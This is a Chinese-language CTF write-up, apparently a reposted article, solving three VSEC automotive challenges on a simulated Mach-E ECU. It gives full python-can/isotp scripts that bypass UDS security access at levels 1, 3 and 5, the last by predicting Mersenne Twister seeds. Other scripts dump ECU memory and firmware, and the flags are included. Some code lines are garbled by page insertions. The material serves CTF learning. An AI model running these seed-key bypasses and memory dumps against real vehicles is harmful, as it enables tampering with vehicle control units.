Block Harbor 是一家专注于汽车网络安全领域的公司,Block Harbor 组织的汽车CTF挑战赛,第一季以教育和乐趣为核心,教授参与者如何嗅探CAN总线并发送控制信息。赛事迅速获得了社区的积极响应,并发展成为一个全球性的活动,吸引了来自亚洲、中东、欧洲和北美的900多名参与者。
-
第一季赛事结束后,Block Harbor 通过其平台VSEC公开了50个独特的汽车挑战,并提供了5000美元的奖金,激发了更广泛的参与和社区建设。
-
第二季赛事预计在2024年8月24日至9月8日举行,奖金池增至10万美元
本系列最后一期(其实冠男早写好了
欢迎大家与我们交流
再次感谢yichen投稿,yichen yyds
Read Memory By Address
题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
I wonder whats at 0xc0ffe000?
翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器内进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。
我想知道 0xc0ffe000 是什么?
就是读内存呗,上脚本,先过了安全启动 level1 再读取内存,这里读取内存的终点设置为 0xC0FFEEF1 是试出来的,读到 0xC0FFEFF0 的时候会出现 NRC 31,权限不够,因此少读一点就出结果了
import can
import time
import binascii
bus = can.Bus(interface='socketcan', channel='vcan0')
bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFF, "extended": False}])
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
seed = result[6:14]
key1 = int(seed[:2],16) ^ 0x20
key2 = int(seed[2:4],16) ^ 0x20
key3 = int(seed[4:6],16) ^ 0x20
key4 = int(seed[6:8],16) ^ 0x20
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x02, key1, key2, key3, key4, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
for i in range(5):
msg = bus.recv(timeout=0.2) # 接受剩余的27返回值
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv() #进入编程会话
def readmem():
recvdata = ""
for hex_value in range(0xc0ffe000, 0xC0FFEEF1, 0xFF):
byte1 = (hex_value >> 24) & 0xFF
byte2 = (hex_value >> 16) & 0xFF
byte3 = (hex_value >> 8) & 0xFF
byte4 = hex_value & 0xFF
candata=[0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=candata)
bus.send(message, timeout=0.2)
msg = bus.recv()
recvdata += binascii.hexlify(msg.data).decode('utf-8')[6:]
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
temp = 0
while temp < 36:
msg = bus.recv()
tempdata = binascii.hexlify(msg.data).decode('utf-8')[2:]
if tempdata != "00000000000000":
recvdata += tempdata
temp = temp + 1
print("n========== READMEM ==========")
print(recvdata)
print("========== READMEM ==========n")
readmem()
bus.shutdown()
Security Access Level 3
题目描述:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
Bit twiddling is pretty common on a lot of vehicles, hope you can implement it!
You will need to dump the firmware of the appliation to do this, and further challenges. As a hint, think of where linux applications get mapped without ASLR?
翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器内进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。
位操作在很多车辆上都很常见,希望你能实现它!
你需要转储应用程序的固件才能执行此操作,并进行进一步的挑战。作为提示,想想在没有 ASLR 的情况下 Linux 应用程序被映射到哪里?
啊哈!这次提示 位操作 了!另外还需要转储固件进行分析,提示说:如果没有 ASLR,Linux 应用程序将映射到的地址是 0x400000
首先尝试读取一下 0x400000 这块的地址,怀疑也要先通过安全访问 level1 才能读取,读取完之后直接把内容写到文件里,有些地址读取的时候会出现 31 的 NRC 需要注意一下
import can
import time
import binascii
bus = can.Bus(interface='socketcan', channel='vcan0')
bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFF, "extended": False}])
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
time.sleep(3)
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
seed = result[6:14]
key1 = int(seed[:2],16) ^ 0x20
key2 = int(seed[2:4],16) ^ 0x20
key3 = int(seed[4:6],16) ^ 0x20
key4 = int(seed[6:8],16) ^ 0x20
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x02, key1, key2, key3, key4, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
for i in range(5):
msg = bus.recv(timeout=0.2) # 接受剩余的27返回值
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x10, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv() #进入编程会话
def readmem_tofile():
file = open("my.bin","wb")
for hex_value in range(0x400000, 0x600000, 0xFF):
byte1 = (hex_value >> 24) & 0xFF
byte2 = (hex_value >> 16) & 0xFF
byte3 = (hex_value >> 8) & 0xFF
byte4 = hex_value & 0xFF
candata=[0x07, 0x23, 0x14, byte1, byte2, byte3, byte4, 0xFF]
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=candata)
bus.send(message, timeout=0.2)
msg = bus.recv()
data = binascii.hexlify(msg.data).decode('utf-8')[2:]
if data == "7f2331":
continue
recvdata = binascii.hexlify(msg.data).decode('utf-8')[4:]
print(recvdata)
file.write(bytes.fromhex(recvdata))
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
temp = 0
while temp < 36:
msg = bus.recv(timeout=0.2)
recvdata = binascii.hexlify(msg.data).decode('utf-8')[2:]
print(recvdata)
file.write(bytes.fromhex(recvdata))
temp = temp + 1
readmem_tofile()
bus.shutdown()
感觉 isotp 或者 scapy 比 python-can 封装了好多东西啊,可以自动拆分和接收多帧报文,不然一点一点读好麻烦(脚本用了 pwnalone 的)
import isotp
import itertools
import struct
import sys
import time
DATA_OFFS = {
0x62 : 3,
0x63 : 1,
0x67 : 2,
0x71 : 4,
0x74 : 2,
0x76 : 2,
0x7f : 0,
} # 方便筛选实际数据
p16, u16 = lambda x: struct.pack('>H', x), lambda x: struct.unpack('>H', x)[0]
p32, u32 = lambda x: struct.pack('>I', x), lambda x: struct.unpack('>I', x)[0]
p64, u64 = lambda x: struct.pack('>Q', x), lambda x: struct.unpack('>Q', x)[0]
s = isotp.socket()
s.bind('vcan0', isotp.Address(rxid=0x7e8, txid=0x7e0))
def reset():
s.send(bytes([ 0x11, 0x01 ]))
s.recv()
def level1():
s.send(bytes([ 0x27, 0x01 ])) # level1 req seed
reply = s.recv()
seed = reply[DATA_OFFS
]:] # get seed此处为隐藏的内容发表评论并刷新,方可查看if seed != b' ':
key = p32(u32(seed) ^ 0x20202020)
s.send(bytes([ 0x27, 0x02 ]) + key) # level1 send key
reply = s.recv()
data = reply[DATA_OFFS
]:]此处为隐藏的内容发表评论并刷新,方可查看if data[0] != 0x7f:
print(data)
else:
print("no seed...")
def readmem_to_file(addr, size):
file = open("1.bin","wb")
dump = b''
step = 0x800
while step > 0:
step = min(step, size)
s.send(bytes([ 0x23, 0x44 ]) + p32(addr) + p32(step))
reply = s.recv()
if reply and reply == b'x7fx23x22':
break
if reply and reply != b'x7fx23x31':
file.write(reply)
addr += step
size -= step
else:
step //= 2
reset()
time.sleep(2)
level1()
readmem_to_file(0x400000, 0x100000)
之前一直没更新主要是他们平台有些问题,没法下载,看之前官方介绍里说靶机好像还能联网,现在也不能联网了,又不想一点一点复制出来,就一直拖着...
最近发现可以下载文件了,但是只能下载文本文件(奇怪的限制),所以先 base64 把固件编码成文本 .txt 格式,在本机再转回去。dump 出来之后用 IDA 打开一看,哎,有个没交过的 flag,试试这个还真对了:bh{bit_twiddling_is_secure}
然而这题预期应该是想让我们找到 level3 的 UDS 安全访问算法的,那继续找找看,但是怎么找呢,固件没有符号,不太好分辨,单看字符串也找不到 level3 相关的代码,想根据 flag 去找结果发现没有引用
但是,等等!在 level1 的安全访问算法中我们异或了一个特定的值:0x20,能不能通过它来定位一下算法呢,通过搜索 20 字符串,然后再过滤异或操作,找到了异或 0x20 的函数
进来之后大概看看整个函数的接口可以确定:v9 这个变量就是安全访问的等级,那么后面这一长串乱七八糟的异或就是 level3 的校验逻辑了,函数中还可以看到 0x35 也就是密钥错误的 NRC
把这段算法稍微一分析,基本是这个样子
key[0] = (((seed[0] ^ seed[3]) + seed[0]) ^ 0xFE) - (16 * seed[3]) & 0xff
key[1] = (((seed[1] ^ seed[2]) + seed[1]) ^ 0xED) - (16 * seed[2]) & 0xff
key[2] = (((seed[3] ^ seed[1]) + seed[2]) ^ 0xFA) - (16 * seed[1]) & 0xff
key[3] = (((seed[2] ^ seed[0]) + seed[3]) ^ 0xCE) - (16 * seed[0]) & 0xff
写为脚本即可
import isotp
import itertools
import struct
import sys
import time
DATA_OFFS = {
0x62 : 3,
0x63 : 1,
0x67 : 2,
0x71 : 4,
0x74 : 2,
0x76 : 2,
0x7f : 0,
} # 方便筛选实际数据
p16, u16 = lambda x: struct.pack('>H', x), lambda x: struct.unpack('>H', x)[0]
p32, u32 = lambda x: struct.pack('>I', x), lambda x: struct.unpack('>I', x)[0]
p64, u64 = lambda x: struct.pack('>Q', x), lambda x: struct.unpack('>Q', x)[0]
s = isotp.socket()
s.bind('vcan0', isotp.Address(rxid=0x7e8, txid=0x7e0))
def reset():
s.send(bytes([ 0x11, 0x01 ]))
s.recv()
def level1():
s.send(bytes([ 0x27, 0x01 ])) # level1 req seed
reply = s.recv()
seed = reply[DATA_OFFS
]:] # get seed此处为隐藏的内容发表评论并刷新,方可查看if seed != b' ':
key = p32(u32(seed) ^ 0x20202020)
s.send(bytes([ 0x27, 0x02 ]) + key) # level1 send key
reply = s.recv()
data = reply[DATA_OFFS
]:]此处为隐藏的内容发表评论并刷新,方可查看if data[0] != 0x7f:
print(data)
else:
print("no seed...")
def level3():
s.send(bytes([ 0x27, 0x03 ])) # level3 req seed
reply = s.recv()
seed = reply[DATA_OFFS
]:] # get seed此处为隐藏的内容发表评论并刷新,方可查看if seed != b' ':
key = [0,0,0,0]
key[0] = (((seed[0] ^ seed[3]) + seed[0]) ^ 0xFE) - (16 * seed[3]) & 0xff
key[1] = (((seed[1] ^ seed[2]) + seed[1]) ^ 0xED) - (16 * seed[2]) & 0xff
key[2] = (((seed[3] ^ seed[1]) + seed[2]) ^ 0xFA) - (16 * seed[1]) & 0xff
key[3] = (((seed[2] ^ seed[0]) + seed[3]) ^ 0xCE) - (16 * seed[0]) & 0xff
s.send(bytes([ 0x27, 0x04, key[0], key[1], key[2], key[3]])) # level3 send key
reply = s.recv()
data = reply[DATA_OFFS
]:]此处为隐藏的内容发表评论并刷新,方可查看if data[0] != 0x7f:
print(data)
else:
print("no seed...")
reset()
time.sleep(2)
level1()
level3()
Security Access Level 5
题目:This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
I hear pseudo-random can be predicted, but we dont know how! Maybe you can prove it.
翻译:此挑战在 VSEC 上的 Harborbay 车辆模拟器内进行。从主页进入 HarborBay。选择 Mach-E 用户空间诊断挑战模拟,然后启动终端。
我听说伪随机数可以预测,但我们不知道如何预测!也许你可以证明这一点。
根据前面对固件的分析,可以猜测出函数 sub_407E7A 是处理 UDS 逻辑的函数,其中 case5 是生成种子的逻辑,case6 是检查密钥的逻辑,在函数的 77 行是 level5 的 seed 生成逻辑,85 行是产生 level1~3 产生 seed 的逻辑
同时我们在代码 105 行也可以看到 level5 校验的逻辑中 key 也是由 Level5_GenerateSeed 函数产生的
进入 Level5_GenerateSeed 后搜索相关常量得到一些信息:Mersenne Twister 算法
进入 Level5_GenerateSeed 后搜索相关常量得到一些信息:Mersenne Twister 算法
查看相关资料后发现这是个伪随机数算法,可以通过这个库(https://github.com/kmyk/mersenne-twister-predictor),从前面的 624 个生成的随机数中预测下一个随机数,前面我们说了 key 也是由产生 seed 的 Mersenne Twister 算法产生的,既然能预测随机数,那岂不是可以预测 key 了!?
来看一下给的示例学习一下这个库怎么用,可以看到这个例子中循环了 624 次,每次生成一个随机数,然后送给 predictor.setrandbits(x, 32),获得了足够多的随机数后就可以用 predictor.getrandbits(32)): 来预测下一个随机数了!
所以我们只需要编写脚本,不断获取 level5 的 seed 然后获得了足够数量的 seed 后就可以预测出来 key 啦
import random
from mt19937predictor import MT19937Predictor
import can
import time
import binascii
predictor = MT19937Predictor()
bus = can.Bus(interface='socketcan', channel='vcan0')
bus.set_filters([{"can_id": 0x7E8, "can_mask": 0xFFF, "extended": False}])
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x11, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
time.sleep(1)
for i in range(624):
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x02, 0x27, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')
seed = result[6:14]
seed = int(seed,16)
predictor.setrandbits(seed, 32)
key = hex(predictor.getrandbits(32))
key1 = int(key[2:4],16)
key2 = int(key[4:6],16)
key3 = int(key[6:8],16)
key4 = int(key[8:10],16)
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x06, 0x27, 0x06, key1, key2, key3, key4, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result = binascii.hexlify(msg.data).decode('utf-8')[8:]
message = can.Message(arbitration_id=0x7E0, is_extended_id=False, dlc=8, data=[0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
bus.send(message, timeout=0.2)
msg = bus.recv()
result += binascii.hexlify(msg.data).decode('utf-8')[2:]
msg = bus.recv()
result += binascii.hexlify(msg.data).decode('utf-8')[2:]
msg = bus.recv()
result += binascii.hexlify(msg.data).decode('utf-8')[2:]
msg = bus.recv()
result += binascii.hexlify(msg.data).decode('utf-8')[2:]
print(bytes.fromhex(result))
bus.shutdown()
bh{i_really_hate_twister}
yichen yyds
系列文章回顾
【WriteUP】VSEC 车联网安全 CTF 挑战赛(一)
【WriteUP】VSEC 车联网安全 CTF 挑战赛(二)
【WriteUP】VSEC 车联网安全 CTF 挑战赛(三)
原文始发于微信公众号(安全脉脉):【WriteUP】VSEC 车联网安全 CTF 挑战赛(四)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论